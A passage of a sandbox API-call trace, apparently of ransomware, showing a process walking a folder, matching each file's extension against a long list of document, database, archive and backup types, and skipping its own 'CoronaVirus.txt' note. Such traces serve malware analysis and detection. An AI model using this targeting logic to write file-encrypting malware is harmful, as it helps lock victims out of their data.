	[0082.586] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea9441d4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.586] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.586] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea9441d4, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea9441d4, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.586] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.586] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.586] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.586] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.586] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.586] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.586] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.586] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.586] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.586] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.586] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.586] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.587] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.587] malloc (_Size=0x1000) returned 0x2f26538
	[0082.587] _swprintf (in: param_1=0x2f26538, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\CoronaVirus.txt") returned 46
	[0082.587] wcsstr (_Str="C:\\588bce7c90097ed212\\Graphics\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.587] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0082.587] wcsncmp (_String1="P", _String2=".", _MaxCount=0x1) returned 34
	[0082.587] wcsncmp (_String1="Pr", _String2="..", _MaxCount=0x2) returned 34
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".bat", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".doc", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".jpg", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".jpe", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".txt", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".tex", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".dbf", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".xls", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".cry", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.587] wcsstr (_Str=".xml", _SubStr=".ico") returned 0x0
	[0082.587] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".vsd", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".pdf", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".csv", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".bmp", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".tif", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".1cd", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".tax", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".gif", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".gbr", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".png", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".mdb", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".mdf", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".sdf", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".dwg", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".dxf", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".dgn", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".stl", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".gho", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.588] wcsstr (_Str=".v2i", _SubStr=".ico") returned 0x0
	[0082.588] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".3ds", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".ppt", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".acc", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".vpd", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".odt", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".ods", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".rar", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".zip", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".cpp", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".pas", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".asm", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".rtf", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".lic", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".avi", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".mov", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".mp3", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".vbs", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".v8i", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.589] wcsstr (_Str=".erf", _SubStr=".ico") returned 0x0
	[0082.589] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".epf", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".mxl", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".cfu", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".mht", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x3165876 | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".old", _SubStr=".ico") returned 0x0
	[0082.590] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0082.590] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.590] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".bat", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".doc", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".jpg", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".jpe", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".txt", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".tex", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".dbf", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".xls", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".cry", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.590] wcsstr (_Str=".xml", _SubStr=".ico") returned 0x0
	[0082.590] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".vsd", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".pdf", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".csv", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".bmp", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".tif", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".1cd", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".tax", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".gif", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".gbr", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".png", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".mdb", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".mdf", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".sdf", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".dwg", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".dxf", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".dgn", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".stl", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".gho", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.591] wcsstr (_Str=".v2i", _SubStr=".ico") returned 0x0
	[0082.591] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".3ds", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".ppt", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".acc", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".vpd", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".odt", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".ods", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".rar", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".zip", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".cpp", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".pas", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".asm", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".rtf", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".lic", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".avi", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".mov", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".mp3", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".vbs", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".v8i", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.592] wcsstr (_Str=".erf", _SubStr=".ico") returned 0x0
	[0082.592] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".epf", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".mxl", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".cfu", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".mht", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".old", _SubStr=".ico") returned 0x0
	[0082.593] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0082.593] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.593] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".bat", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".doc", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".jpg", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".jpe", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".txt", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".tex", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".dbf", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".xls", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".cry", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.593] wcsstr (_Str=".xml", _SubStr=".ico") returned 0x0
	[0082.593] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".vsd", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".pdf", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".csv", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".bmp", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".tif", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".1cd", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".tax", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".gif", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".gbr", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".png", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".mdb", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".mdf", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".sdf", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".dwg", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".dxf", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".dgn", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".stl", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".gho", _SubStr=".ico") returned 0x0
	[0082.594] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.594] wcsstr (_Str=".v2i", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".3ds", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".ppt", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".acc", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".vpd", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".odt", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".ods", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".rar", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".zip", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".cpp", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".pas", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".asm", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".rtf", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
